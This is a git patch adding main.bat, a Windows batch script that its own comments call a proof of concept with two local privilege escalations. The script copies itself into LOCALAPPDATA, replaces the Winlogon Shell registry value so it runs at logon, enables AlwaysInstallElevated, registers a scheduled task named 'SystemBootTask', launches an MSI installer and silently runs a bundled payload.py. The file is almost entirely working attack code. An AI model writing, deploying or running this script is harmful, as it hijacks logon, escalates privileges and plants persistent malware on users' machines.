From eeb0c37b94abc138779dc316c6e62977f8b56e49 Mon Sep 17 00:00:00 2001 From: NJL Date: Thu, 25 Jun 2026 01:28:02 +0000 Subject: [PATCH] Add main.bat --- main.bat | 26 ++++++++++++++++++++++++++ 1 file changed, 26 insertions(+) create mode 100644 main.bat diff --git a/main.bat b/main.bat new file mode 100644 index 0000000..6d2fde4 --- /dev/null +++ b/main.bat @@ -0,0 +1,26 @@ + +@echo off +setlocal +set "D=%LOCALAPPDATA%\ShellHook"&set "I=%D%\install.bat"&set "K=HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" +reg add "HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer" /v AlwaysInstallElevated /t REG_DWORD /d 1 /f>nul +reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v legalnoticecaption /t REG_SZ /d "0x000000" /f>nul +reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v legalnoticetext /t REG_SZ /d "0xFFFFFF" /f>nul +if /i "%~1"=="/uninstall" exit +if not exist "%D%" mkdir "%D%" +copy /y "%~f0" "%I%" >nul +if exist "%~dp0payload.py" copy /y "%~dp0payload.py" "%D%\payload.py" >nul +reg add "%K%" /v Shell /t REG_SZ /d "\"%I%\"" /f >nul +if /i not "%~f0"=="%I%" (start "" "%I%" & exit) +schtasks /create /tn "SystemBootTask" /tr "%I%" /f >nul 2>&1 +start "" explorer.exe +start "" install.msi +where pythonw.exe >nul 2>&1 && start "" pythonw.exe "%D%\payload.py" || start "" python.exe "%D%\payload.py" +net session >nul 2>&1 && ( +reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "\"%I%\"" /f >nul +reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer" /v AlwaysInstallElevated /t REG_DWORD /d 1 /f >nul +reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v legalnoticecaption /t REG_SZ /d "0x000000" /f >nul +reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v legalnoticetext /t REG_SZ /d "0xFFFFFF" /f >nul +) || schtasks /create /tn "SystemBootTask" /tr "%I%" /f >nul 2>&1 +rem there are two LPE in this PoC. +rem might not work OoB on all devices. +rem tested each on fresh win 11 install. \ No newline at end of file